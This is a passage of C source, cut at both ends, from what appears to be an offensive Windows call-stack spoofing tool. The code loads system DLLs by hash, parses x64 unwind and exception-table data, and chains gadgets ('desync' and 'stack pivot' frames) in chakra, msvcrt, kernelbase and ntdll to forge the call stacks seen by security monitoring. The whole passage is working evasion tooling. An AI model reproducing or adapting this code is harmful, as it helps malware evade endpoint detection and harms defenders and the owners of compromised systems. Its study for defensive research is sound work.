0; 801 | UINT64 puCalledFunctionAddress = 0; 802 | BOOL found = FALSE; 803 | DWORD tSize = 0; 804 | 805 | custom_memset(&kernelbase, 0, sizeof(DLL)); 806 | custom_memset(&kernel32, 0, sizeof(DLL)); 807 | custom_memset(&ntdll, 0, sizeof(DLL)); 808 | custom_memset(&mshtml, 0, sizeof(DLL)); 809 | 810 | ntdll.Handle = (HMODULE)GetModule(NTDLL_HASH); 811 | GetModuleTextSection(&ntdll); 812 | 813 | ntdll.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(ntdll.Handle)); 814 | ntdll.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(ntdll.Handle, &tSize)); 815 | ntdll.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12); 816 | 817 | kernelbase.Handle = (HMODULE)GetModule(KERNELBASE_HASH); 818 | GetModuleTextSection(&kernelbase); 819 | kernelbase.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(kernelbase.Handle)); 820 | kernelbase.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(kernelbase.Handle, &tSize)); 821 | kernelbase.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12); 822 | 823 | kernel32.Handle = (HMODULE)GetModule(KERNEL32DLL_HASH); 824 | GetModuleTextSection(&kernel32); 825 | kernel32.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(kernel32.Handle)); 826 | kernel32.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(kernel32.Handle, &tSize)); 827 | kernel32.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12); 828 | 829 | //root.Handle = LoadLibraryA("Chakra"); 830 | root.Handle = LoadLibraryA("chakra"); 831 | GetModuleTextSection(&root); 832 | root.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(root.Handle)); 833 | root.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(root.Handle, &tSize)); 834 | root.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12); 835 | 836 | current.Handle = LoadLibraryA("msvcrt"); 837 | GetModuleTextSection(¤t); 838 | current.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress(current.Handle)); 839 | current.ExceptionTable = (PERF)(GetExceptionDirectoryAddress(current.Handle, &tSize)); 840 | current.ExceptionTableLastEntryIndex = (DWORD)(tSize / 12); 841 | 842 | rtSaveIndex = -1; 843 | 844 | while(!found) { 845 | sConfig->FirstFrameFunctionPointer = NULL; 846 | FindProlog(root.Handle, root.ExceptionTable, root.ExceptionTableLastEntryIndex, &stackSize, &rtSaveIndex, &rtTargetOffset); 847 | 848 | if (NULL == sConfig->FirstFrameFunctionPointer) { 849 | break; 850 | } 851 | printf("1. Found UWOP_SET_FPREG frame at frame %u 0x%I64x\n", rtSaveIndex, sConfig->FirstFrameFunctionPointer); 852 | Sleep(500); 853 | 854 | DWORD skipFirstFrameGadgets = 0; 855 | PERF currentFirstFrameFunction = root.ExceptionTable + rtSaveIndex; 856 | 857 | while (FindCallOffset(root.Handle, currentFirstFrameFunction, &pdwCallOffset, &puCalledFunctionAddress, &skipFirstFrameGadgets)) { 858 | // We loop through all the calls in the frame 859 | sConfig->FirstFrameRandomOffset = pdwCallOffset; 860 | PERF currentSecondFrameFunction = NULL; 861 | if (puCalledFunctionAddress == 0 || (puCalledFunctionAddress - (UINT64)root.Handle) <= 0) { 862 | continue; 863 | } 864 | 865 | currentSecondFrameFunction = RTFindFunctionByAddressInRFTable(root.ExceptionTable, root.ExceptionTableLastEntryIndex, (DWORD64)(puCalledFunctionAddress - (UINT64)root.Handle)); 866 | 867 | if (NULL == currentSecondFrameFunction) { 868 | continue; 869 | } 870 | 871 | if (!CheckPushRbp(root.Handle, currentSecondFrameFunction, &stackSize)) { 872 | continue; 873 | } 874 | printf("1. Found UWOP_SET_FPREG frame\n"); 875 | printf("2. Found UWOP_PUSH_NONVOL (RBP) frame %u at 0x%I64x\n", rtSaveIndex, (UINT64)root.Handle + currentSecondFrameFunction->BeginAddress); 876 | DWORD skipSecondFrameGadgets = 0; 877 | while (FindCallOffset(root.Handle, currentSecondFrameFunction, &pdwCallOffset, &puCalledFunctionAddress, &skipSecondFrameGadgets)) { 878 | BOOL checkpoint = FALSE; 879 | PERF currentDesyncFrameFunction = NULL; 880 | sConfig->SecondFrameRandomOffset = pdwCallOffset; 881 | if (puCalledFunctionAddress == 0) { 882 | continue; 883 | } 884 | 885 | checkpoint = SearchFrameWithinModule(root, ¤tDesyncFrameFunction, puCalledFunctionAddress, 0); 886 | if (!checkpoint && 887 | (puCalledFunctionAddress > (UINT64)current.TextSectionAddress) && 888 | (puCalledFunctionAddress < ((UINT64)current.TextSectionAddress + current.TextSectionSize))) { 889 | checkpoint = SearchFrameWithinModule(current, ¤tDesyncFrameFunction, puCalledFunctionAddress, 0); 890 | } 891 | else if (!checkpoint && 892 | (puCalledFunctionAddress > (UINT64)kernelbase.TextSectionAddress) && 893 | (puCalledFunctionAddress < ((UINT64)kernelbase.TextSectionAddress + kernelbase.TextSectionSize))) { 894 | checkpoint = SearchFrameWithinModule(kernelbase, ¤tDesyncFrameFunction, puCalledFunctionAddress, 0); 895 | } 896 | else if (!checkpoint && 897 | (puCalledFunctionAddress > (UINT64)ntdll.TextSectionAddress) && 898 | (puCalledFunctionAddress < ((UINT64)ntdll.TextSectionAddress + ntdll.TextSectionSize))) { 899 | checkpoint = SearchFrameWithinModule(ntdll, ¤tDesyncFrameFunction, puCalledFunctionAddress, 0); 900 | } 901 | 902 | if (!checkpoint) { 903 | continue; 904 | } 905 | printf("1. Found UWOP_SET_FPREG frame\n"); 906 | printf("2. Found UWOP_PUSH_NONVOL (RBP) frame\n"); 907 | printf("3. Found Desync Gadget\n"); 908 | DWORD skipDesyncFrameGadgets = 0; 909 | while (FindCallOffset(current.Handle, currentDesyncFrameFunction, &pdwCallOffset, &puCalledFunctionAddress, &skipDesyncFrameGadgets)) { 910 | PERF currentStackPivotFrameFunction = NULL; 911 | if (puCalledFunctionAddress == 0) { 912 | continue; 913 | } 914 | if ((puCalledFunctionAddress > (UINT64)root.TextSectionAddress) && 915 | (puCalledFunctionAddress < ((UINT64)root.TextSectionAddress + root.TextSectionSize))) 916 | { 917 | found = SearchFrameWithinModule( 918 | root, 919 | ¤tStackPivotFrameFunction, 920 | puCalledFunctionAddress, 921 | 1 922 | ); 923 | } 924 | else if ((puCalledFunctionAddress > (UINT64)current.TextSectionAddress) && 925 | (puCalledFunctionAddress < ((UINT64)current.TextSectionAddress + current.TextSectionSize))) 926 | { 927 | found = SearchFrameWithinModule( 928 | current, 929 | ¤tStackPivotFrameFunction, 930 | puCalledFunctionAddress, 931 | 1 932 | ); 933 | } 934 | else if ((puCalledFunctionAddress > (UINT64)kernelbase.TextSectionAddress) && 935 | (puCalledFunctionAddress < ((UINT64)kernelbase.TextSectionAddress + kernelbase.TextSectionSize))) 936 | { 937 | found = SearchFrameWithinModule( 938 | kernelbase, 939 | ¤tStackPivotFrameFunction, 940 | puCalledFunctionAddress, 941 | 1 942 | ); 943 | } 944 | else if ((puCalledFunctionAddress > (UINT64)ntdll.TextSectionAddress) && 945 | (puCalledFunctionAddress < ((UINT64)ntdll.TextSectionAddress + ntdll.TextSectionSize))) 946 | { 947 | found = SearchFrameWithinModule( 948 | ntdll, 949 | ¤tStackPivotFrameFunction, 950 | puCalledFunctionAddress, 951 | 1 952 | ); 953 | } 954 | 955 | if (!found) { 956 | continue; 957 | } 958 | printf("4. Compliant Stack Pivot Gadget\n"); 959 | break; 960 | } 961 | } 962 | } 963 | 964 | } 965 | if (!found) { 966 | printf("\n[-] Chain not found... sorry! :(\n"); 967 | } 968 | else { 969 | printf("\n[+] Chain found! Oh yeaaaahhh! :)\n"); 970 | } 971 | 972 | } 973 | 974 | BOOL SearchFrameWithinModule(DLL current, PERF* pCurrentFrameFunction, UINT64 puCalledFunctionAddress, DWORD gadgetType) { 975 | DWORD skipSecondFrameGadgets = 0; 976 | DWORD pdwCallOffset = 0; 977 | DWORD skip = 0; 978 | DWORD stackSize = 0; 979 | 980 | *pCurrentFrameFunction = RTFindFunctionByAddressInRFTable(current.ExceptionTable, current.ExceptionTableLastEntryIndex, (DWORD64)(puCalledFunctionAddress - (UINT64)current.Handle)); 981 | if (NULL == *pCurrentFrameFunction) { 982 | return FALSE; 983 | } 984 | 985 | if (!CheckForGadget(current.Handle, *pCurrentFrameFunction, &stackSize, &skip, gadgetType)) { 986 | return FALSE; 987 | } 988 | return TRUE; 989 | }; 990 | 991 | BOOL FindCallOffset(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD pdwCallOffset, PUINT64 pCalledFunctionAddress, PDWORD skip) { 992 | DWORD gadgets = 0; 993 | BOOL status = FALSE; 994 | DWORD callOffset; 995 | DWORD staticOffset = 4; 996 | *pdwCallOffset = 0; 997 | *pCalledFunctionAddress = 0; 998 | 999 | for (UINT64 j = (UINT64)moduleBase + pRuntimeFunction->BeginAddress; j < (UINT64)moduleBase + pRuntimeFunction->EndAddress; j++) { 1000 | callOffset = 1; 1001 | // OK, found a potential call 1002 | if (*(BYTE*)j == CALL_NEAR || *(WORD*)j == CALL_NEAR_QPTR || (*(DWORD*)j & 0x00ffffff) == CALL_FAR_QPTR) { 1003 | 1004 | if ((*(DWORD*)j & 0x00ffffff) == CALL_FAR_QPTR) { 1005 | callOffset += 2; 1006 | } 1007 | else if (*(WORD*)j == CALL_NEAR_QPTR) { 1008 | callOffset++; 1009 | } 1010 | 1011 | 1012 | // In several DLLs, after a call we have a nop of some type 1013 | // if (!(*(BYTE*)(j + callOffset) == 0x90 || *(WORD*)(j + callOffset) == 0x1f0f || *(WORD*)(j + callOffset) == 0x0f48)) { 1014 | // continue; 1015 | //} 1016 | gadgets++; 1017 | if (*skip >= gadgets) { 1018 | // Let's try another gadget 1019 | continue; 1020 | } 1021 | *skip = gadgets; 1022 | // Call returning at start of call + length of call instruction 1023 | *pdwCallOffset = (DWORD)((j + staticOffset + callOffset) - (UINT64)moduleBase); 1024 | *pCalledFunctionAddress = (j + callOffset + staticOffset + *(DWORD*)(j+callOffset)); 1025 | if (*pCalledFunctionAddress > 0x7fffffffffff) { 1026 | continue; 1027 | } 1028 | /* 1029 | printf(" Function called at: 0x%I64x\n", j); 1030 | printf(" Called function: 0x%I64x\n", *pCalledFunctionAddress); 1031 | Sleep(500); 1032 | */ 1033 | status = TRUE; 1034 | break; 1035 | } 1036 | } 1037 | return status; 1038 | } 1039 | 1040 | BOOL CheckPushRbp(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD stackSize) { 1041 | PUNWIND_INFO unwindInfo; 1042 | DWORD pdwCallOffset = 0; 1043 | DWORD status = 0; 1044 | *stackSize = 0; 1045 | 1046 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunction->UnwindData); 1047 | status = GetStackFrameSizeWhereRbpIsPushedOnStack(moduleBase, (PVOID)unwindInfo, stackSize); 1048 | if (0 != status) { 1049 | 1050 | sConfig->SecondFrameFunctionPointer = (PVOID)((UINT64)moduleBase + (UINT64)pRuntimeFunction->BeginAddress); 1051 | sConfig->SecondFrameSize = *stackSize; 1052 | sConfig->StackOffsetWhereRbpIsPushed = status; 1053 | } 1054 | 1055 | return 0 != status; 1056 | } 1057 | 1058 | // Wrapper function: DO NOT USE 1059 | VOID SpoofCallStack(PSPOOFER psConfig) { 1060 | 1061 | // _ReturnAddress intrinsic doesn't work as expected, use _AddressOfReturnAddress instead 1062 | psConfig->ReturnAddress = _AddressOfReturnAddress(); 1063 | spoof_call(psConfig); 1064 | } 1065 | 1066 | DWORD FindCallInstructionOffset(uint64_t startAddress, DWORD searchLimit) { 1067 | 1068 | DWORD offset = 0; 1069 | DWORD callOffset = 0; 1070 | DWORD staticOffset = 4; // Size of CALL instruction 1071 | BOOL found = FALSE; 1072 | 1073 | while (offset < searchLimit) { 1074 | if (*(BYTE*)(startAddress + offset) == CALL_NEAR || *(WORD*)(startAddress + offset) == CALL_NEAR_QPTR || (*(DWORD*)(startAddress + offset) & 0x00ffffff) == CALL_FAR_QPTR) { 1075 | if ((*(DWORD*)(startAddress + offset) & 0x00ffffff) == CALL_FAR_QPTR) { 1076 | callOffset += 3; 1077 | } 1078 | else if (*(WORD*)(startAddress + offset) == CALL_NEAR_QPTR) { 1079 | callOffset += 2; 1080 | } 1081 | else { 1082 | callOffset++; 1083 | } 1084 | found = TRUE; 1085 | break; 1086 | } 1087 | offset++; 1088 | } 1089 | 1090 | if (found) { 1091 | return (offset + staticOffset + callOffset); 1092 | } 1093 | return 0; 1094 | 1095 | } 1096 | 1097 | DWORD GetStackFrameSizeWhereRbpIsPushedOnStack(HMODULE moduleBase, PVOID unwindInfoAddress, DWORD* targetStackOffset) { 1098 | 1099 | DWORD saveStackOffset; 1100 | DWORD backupStackOffset; 1101 | PRUNTIME_FUNCTION pChainedFunction; 1102 | 1103 | BOOL RBP_PUSHED = FALSE; 1104 | PUNWIND_INFO unwindInfo = (PUNWIND_INFO)unwindInfoAddress; 1105 | PUNWIND_CODE unwindCode = (PUNWIND_CODE)unwindInfo->UnwindCode; 1106 | MIN_CTX ctx = MIN_CTX(); 1107 | DWORD frameSize = 0; 1108 | DWORD nodeIndex = 0; 1109 | DWORD countOfCodes = unwindInfo->CountOfCodes; 1110 | 1111 | saveStackOffset = 0; 1112 | *targetStackOffset = 0; 1113 | backupStackOffset = *targetStackOffset; 1114 | 1115 | // Initialise context 1116 | custom_memset(&ctx, 0, sizeof(MIN_CTX)); 1117 | // printf("The stack is now 0x%I64X\n", *targetOffset); 1118 | 1119 | while (nodeIndex < countOfCodes) { 1120 | // Ensure frameSize is reset 1121 | frameSize = 0; 1122 | 1123 | switch (unwindCode->UnwindOp) { 1124 | 1125 | case UWOP_PUSH_NONVOL: // 0 1126 | 1127 | if (unwindCode->OpInfo == RSP) { 1128 | // We break here 1129 | return 0; 1130 | } 1131 | if (unwindCode->OpInfo == RBP && RBP_PUSHED) { 1132 | return 0; 1133 | } 1134 | else if (unwindCode->OpInfo == RBP) { 1135 | saveStackOffset = *targetStackOffset; 1136 | RBP_PUSHED = 1; 1137 | } 1138 | 1139 | *targetStackOffset += 8; 1140 | break; 1141 | 1142 | case UWOP_ALLOC_LARGE: // 1 1143 | // If the operation info equals 0 -> allocation size / 8 in next slot 1144 | // If the operation info equals 1 -> unscaled allocation size in next 2 slots 1145 | // In any case, we need to advance 1 slot and record the size 1146 | 1147 | // Skip to next Unwind Code 1148 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1149 | DPRINTUNWINDCODE(unwindCode); 1150 | 1151 | // Keep track of current node 1152 | nodeIndex++; 1153 | // Register size in next slot 1154 | frameSize = unwindCode->FrameOffset; 1155 | 1156 | if (unwindCode->OpInfo == 0) { 1157 | // If the operation info equals 0, then the size of the allocation divided by 8 1158 | // is recorded in the next slot, allowing an allocation up to 512K - 8. 1159 | // We already advanced of 1 slot, and recorded the allocation size 1160 | // We just need to multiply it for 8 to get the unscaled allocation size 1161 | frameSize *= 8; 1162 | } 1163 | else 1164 | { 1165 | // If the operation info equals 1, then the unscaled size of the allocation is 1166 | // recorded in the next two slots in little-endian format, allowing allocations 1167 | // up to 4GB - 8. 1168 | // Skip to next Unwind Code 1169 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1170 | // Keep track of current node 1171 | nodeIndex++; 1172 | // Unmask the rest of the allocation size 1173 | frameSize += unwindCode->FrameOffset << 16; 1174 | 1175 | } 1176 | DPRINT("Final Frame Size: 0x%x\n", frameSize); 1177 | *targetStackOffset += frameSize; 1178 | break; 1179 | 1180 | case UWOP_ALLOC_SMALL: // 2 1181 | 1182 | // Allocate a small-sized area on the stack. The size of the allocation is the operation 1183 | // info field * 8 + 8, allowing allocations from 8 to 128 bytes. 1184 | *targetStackOffset += 8 * (unwindCode->OpInfo + 1); 1185 | break; 1186 | 1187 | 1188 | case UWOP_SET_FPREG: // 3 1189 | return 0; 1190 | break; // EARLY RET 1191 | 1192 | case UWOP_SAVE_NONVOL: // 4 1193 | // Save a nonvolatile integer register on the stack using a MOV instead of a PUSH. This code is 1194 | // primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack in a position 1195 | // that was previously allocated. The operation info is the number of the register. The scaled-by-8 1196 | // stack offset is recorded in the next unwind operation code slot, as described in the note above. 1197 | if (unwindCode->OpInfo == RSP) { 1198 | // This time, we return only if RSP was saved 1199 | return 0; 1200 | } 1201 | else 1202 | { 1203 | // For future use: save the scaled by 8 stack offset 1204 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset * 8; 1205 | DPRINTCTX(ctx); 1206 | 1207 | // Skip to next Unwind Code 1208 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1209 | nodeIndex++; 1210 | 1211 | if (unwindCode->OpInfo != RBP) { 1212 | // Restore original stack size (!?) 1213 | *targetStackOffset = backupStackOffset; 1214 | break; 1215 | } 1216 | if (RBP_PUSHED) { 1217 | return 0; 1218 | } 1219 | 1220 | RBP_PUSHED = TRUE; 1221 | // We save the stack offset where MOV [RSP], RBP happened 1222 | // During unwinding, this address will be popped back in RBP 1223 | saveStackOffset = *((ULONG*)&ctx + unwindCode->OpInfo); 1224 | 1225 | // Restore original stack size (!?) 1226 | *targetStackOffset = backupStackOffset; 1227 | } 1228 | 1229 | break; 1230 | case UWOP_SAVE_NONVOL_BIG: // 5 1231 | // Save a nonvolatile integer register on the stack with a long offset, using a MOV instead of a PUSH. 1232 | // This code is primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack 1233 | // in a position that was previously allocated. The operation info is the number of the register. 1234 | // The unscaled stack offset is recorded in the next two unwind operation code slots, as described 1235 | // in the note above. 1236 | if (unwindCode->OpInfo == RSP) { 1237 | return 0; 1238 | } 1239 | 1240 | // For future use 1241 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset; 1242 | *((ULONG*)&ctx + unwindCode->OpInfo) += (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 2))->FrameOffset << 16; 1243 | 1244 | if (unwindCode->OpInfo != RBP) { 1245 | // Restore original stack size (!?) 1246 | *targetStackOffset = backupStackOffset; 1247 | break; 1248 | } 1249 | if (RBP_PUSHED) { 1250 | return 0; 1251 | } 1252 | // We save the stack offset where MOV [RSP], RBP happened 1253 | // During unwinding, this address will be popped back in RBP 1254 | saveStackOffset = *((ULONG*)&ctx + unwindCode->OpInfo); 1255 | // Restore Stack Size 1256 | *targetStackOffset = backupStackOffset; 1257 | 1258 | // Skip the other two nodes used for this unwind operation 1259 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2); 1260 | nodeIndex += 2; 1261 | 1262 | DPRINTCTX(ctx); 1263 | break; 1264 | 1265 | case UWOP_EPILOG: // 6 1266 | case UWOP_SAVE_XMM128: // 8 1267 | // Save all 128 bits of a nonvolatile XMM register on the stack. The operation info is the number of 1268 | // the register. The scaled-by-16 stack offset is recorded in the next slot. 1269 | 1270 | // TODO: Handle this 1271 | 1272 | // Skip to next Unwind Code 1273 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1274 | nodeIndex++; 1275 | break; 1276 | case UWOP_SPARE_CODE: // 7 1277 | case UWOP_SAVE_XMM128BIG: // 9 1278 | // Save all 128 bits of a nonvolatile XMM register on the stack with a long offset. The operation info 1279 | // is the number of the register. The unscaled stack offset is recorded in the next two slots. 1280 | 1281 | // TODO: Handle this 1282 | 1283 | // Advancing next 2 nodes 1284 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2); 1285 | nodeIndex += 2; 1286 | break; 1287 | case UWOP_PUSH_MACH_FRAME: // 10 1288 | // Push a machine frame. This unwind code is used to record the effect of a hardware interrupt or exception. 1289 | // There are two forms. 1290 | 1291 | // NOTE: UNTESTED 1292 | // TODO: Test this 1293 | if (unwindCode->OpInfo == 0) { 1294 | *targetStackOffset += 0x40; 1295 | } 1296 | else { 1297 | *targetStackOffset += 0x48; 1298 | } 1299 | break; 1300 | } 1301 | 1302 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1303 | nodeIndex++; 1304 | } 1305 | 1306 | // If chained unwind information is present then we need to 1307 | // also recursively parse this and add to total stack size. 1308 | if (BitChainInfo(unwindInfo->Flags)) 1309 | { 1310 | nodeIndex = unwindInfo->CountOfCodes; 1311 | if (0 != (nodeIndex & 1)) 1312 | { 1313 | nodeIndex += 1; 1314 | } 1315 | pChainedFunction = (PRUNTIME_FUNCTION)(&unwindInfo->UnwindCode[nodeIndex]); 1316 | return GetStackFrameSize(moduleBase, (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pChainedFunction->UnwindData), targetStackOffset); 1317 | } 1318 | 1319 | return saveStackOffset; 1320 | 1321 | 1322 | } 1323 | 1324 | DWORD GetStackFrameSizeIgnoringUwopSetFpreg(HMODULE moduleBase, PVOID unwindInfoAddress, DWORD* targetStackOffset) { 1325 | 1326 | DWORD saveStackOffset; 1327 | DWORD backupStackOffset; 1328 | PRUNTIME_FUNCTION pChainedFunction; 1329 | 1330 | PUNWIND_INFO unwindInfo = (PUNWIND_INFO)unwindInfoAddress; 1331 | PUNWIND_CODE unwindCode = (PUNWIND_CODE)unwindInfo->UnwindCode; 1332 | MIN_CTX ctx = MIN_CTX(); 1333 | DWORD frameSize = 0; 1334 | DWORD nodeIndex = 0; 1335 | DWORD countOfCodes = unwindInfo->CountOfCodes; 1336 | 1337 | saveStackOffset = 0; 1338 | *targetStackOffset = 0; 1339 | backupStackOffset = *targetStackOffset; 1340 | 1341 | // Initialise context 1342 | custom_memset(&ctx, 0, sizeof(MIN_CTX)); 1343 | // printf("The stack is now 0x%I64X\n", *targetOffset); 1344 | 1345 | while (nodeIndex < countOfCodes) { 1346 | // Ensure frameSize is reset 1347 | frameSize = 0; 1348 | 1349 | switch (unwindCode->UnwindOp) { 1350 | 1351 | case UWOP_PUSH_NONVOL: // 0 1352 | 1353 | if (unwindCode->OpInfo == RSP) { 1354 | // We break here 1355 | return 0; 1356 | } 1357 | *targetStackOffset += 8; 1358 | break; 1359 | 1360 | case UWOP_ALLOC_LARGE: // 1 1361 | // If the operation info equals 0 -> allocation size / 8 in next slot 1362 | // If the operation info equals 1 -> unscaled allocation size in next 2 slots 1363 | // In any case, we need to advance 1 slot and record the size 1364 | 1365 | // Skip to next Unwind Code 1366 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1367 | DPRINTUNWINDCODE(unwindCode); 1368 | 1369 | // Keep track of current node 1370 | nodeIndex++; 1371 | // Register size in next slot 1372 | frameSize = unwindCode->FrameOffset; 1373 | 1374 | if (unwindCode->OpInfo == 0) { 1375 | // If the operation info equals 0, then the size of the allocation divided by 8 1376 | // is recorded in the next slot, allowing an allocation up to 512K - 8. 1377 | // We already advanced of 1 slot, and recorded the allocation size 1378 | // We just need to multiply it for 8 to get the unscaled allocation size 1379 | frameSize *= 8; 1380 | } 1381 | else 1382 | { 1383 | // If the operation info equals 1, then the unscaled size of the allocation is 1384 | // recorded in the next two slots in little-endian format, allowing allocations 1385 | // up to 4GB - 8. 1386 | // Skip to next Unwind Code 1387 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1388 | // Keep track of current node 1389 | nodeIndex++; 1390 | // Unmask the rest of the allocation size 1391 | frameSize += unwindCode->FrameOffset << 16; 1392 | 1393 | } 1394 | DPRINT("Final Frame Size: 0x%x\n", frameSize); 1395 | *targetStackOffset += frameSize; 1396 | break; 1397 | 1398 | case UWOP_ALLOC_SMALL: // 2 1399 | 1400 | // Allocate a small-sized area on the stack. The size of the allocation is the operation 1401 | // info field * 8 + 8, allowing allocations from 8 to 128 bytes. 1402 | *targetStackOffset += 8 * (unwindCode->OpInfo + 1); 1403 | break; 1404 | 1405 | 1406 | case UWOP_SET_FPREG: // 3 1407 | // IGNORED 1408 | break; 1409 | 1410 | case UWOP_SAVE_NONVOL: // 4 1411 | // Save a nonvolatile integer register on the stack using a MOV instead of a PUSH. This code is 1412 | // primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack in a position 1413 | // that was previously allocated. The operation info is the number of the register. The scaled-by-8 1414 | // stack offset is recorded in the next unwind operation code slot, as described in the note above. 1415 | if (unwindCode->OpInfo == RSP) { 1416 | // This time, we return only if RSP was saved 1417 | return 0; 1418 | } 1419 | else 1420 | { 1421 | // For future use: save the scaled by 8 stack offset 1422 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset * 8; 1423 | DPRINTCTX(ctx); 1424 | 1425 | // Skip to next Unwind Code 1426 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1427 | nodeIndex++; 1428 | 1429 | // We save the stack offset where MOV [RSP], RBP happened 1430 | // During unwinding, this address will be popped back in RBP 1431 | saveStackOffset = *((ULONG*)&ctx + unwindCode->OpInfo); 1432 | 1433 | // Restore original stack size (!?) 1434 | *targetStackOffset = backupStackOffset; 1435 | } 1436 | 1437 | break; 1438 | case UWOP_SAVE_NONVOL_BIG: // 5 1439 | // Save a nonvolatile integer register on the stack with a long offset, using a MOV instead of a PUSH. 1440 | // This code is primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack 1441 | // in a position that was previously allocated. The operation info is the number of the register. 1442 | // The unscaled stack offset is recorded in the next two unwind operation code slots, as described 1443 | // in the note above. 1444 | if (unwindCode->OpInfo == RSP) { 1445 | return 0; 1446 | } 1447 | 1448 | // For future use 1449 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset; 1450 | *((ULONG*)&ctx + unwindCode->OpInfo) += (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 2))->FrameOffset << 16; 1451 | 1452 | // We save the stack offset where MOV [RSP], RBP happened 1453 | // During unwinding, this address will be popped back in RBP 1454 | saveStackOffset = *((ULONG*)&ctx + unwindCode->OpInfo); 1455 | // Restore Stack Size 1456 | *targetStackOffset = backupStackOffset; 1457 | 1458 | // Skip the other two nodes used for this unwind operation 1459 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2); 1460 | nodeIndex += 2; 1461 | 1462 | DPRINTCTX(ctx); 1463 | break; 1464 | 1465 | case UWOP_EPILOG: // 6 1466 | case UWOP_SAVE_XMM128: // 8 1467 | // Save all 128 bits of a nonvolatile XMM register on the stack. The operation info is the number of 1468 | // the register. The scaled-by-16 stack offset is recorded in the next slot. 1469 | 1470 | // TODO: Handle this 1471 | 1472 | // Skip to next Unwind Code 1473 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1474 | nodeIndex++; 1475 | break; 1476 | case UWOP_SPARE_CODE: // 7 1477 | case UWOP_SAVE_XMM128BIG: // 9 1478 | // Save all 128 bits of a nonvolatile XMM register on the stack with a long offset. The operation info 1479 | // is the number of the register. The unscaled stack offset is recorded in the next two slots. 1480 | 1481 | // TODO: Handle this 1482 | 1483 | // Advancing next 2 nodes 1484 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2); 1485 | nodeIndex += 2; 1486 | break; 1487 | case UWOP_PUSH_MACH_FRAME: // 10 1488 | // Push a machine frame. This unwind code is used to record the effect of a hardware interrupt or exception. 1489 | // There are two forms. 1490 | 1491 | // NOTE: UNTESTED 1492 | // TODO: Test this 1493 | if (unwindCode->OpInfo == 0) { 1494 | *targetStackOffset += 0x40; 1495 | } 1496 | else { 1497 | *targetStackOffset += 0x48; 1498 | } 1499 | break; 1500 | } 1501 | 1502 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1); 1503 | nodeIndex++; 1504 | } 1505 | 1506 | // If chained unwind information is present then we need to 1507 | // also recursively parse this and add to total stack size. 1508 | if (BitChainInfo(unwindInfo->Flags)) 1509 | { 1510 | nodeIndex = unwindInfo->CountOfCodes; 1511 | if (0 != (nodeIndex & 1)) 1512 | { 1513 | nodeIndex += 1; 1514 | } 1515 | pChainedFunction = (PRUNTIME_FUNCTION)(&unwindInfo->UnwindCode[nodeIndex]); 1516 | return GetStackFrameSizeIgnoringUwopSetFpreg(moduleBase, (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pChainedFunction->UnwindData), targetStackOffset); 1517 | } 1518 | 1519 | return *targetStackOffset; 1520 | 1521 | 1522 | } 1523 | 1524 | DWORD GetStackFrameSize(HMODULE hModule, PVOID unwindInfoAddress, DWORD* targetStackOffset) { 1525 | 1526 | PRUNTIME_FUNCTION pChainedFunction; 1527 | 1528 | DWORD frameSize = 0; 1529 | DWORD nodeIndex = 0; 1530 | BOOL UWOP_SET_FPREG_HIT = FALSE; 1531 | PUNWIND_INFO unwindInfo = (PUNWIND_INFO)unwindInfoAddress; 1532 | PUNWIND_CODE unwindCode = (PUNWIND_CODE)unwindInfo->UnwindCode; 1533 | MIN_CTX ctx = MIN_CTX(); 1534 | 1535 | // Restore Stack Size 1536 | *targetStackOffset = 0; 1537 | 1538 | // Initialise context 1539 | custom_memset(&ctx, 0, sizeof(MIN_CTX)); 1540 | // printf("The stack is now 0x%I64X\n", *targetOffset); 1541 | 1542 | while(nodeIndex < unwindInfo->CountOfCodes){ 1543 | // Ensure frameSize is reset 1544 | frameSize = 0; 1545 | 1546 | switch (unwindCode->UnwindOp) { 1547 | 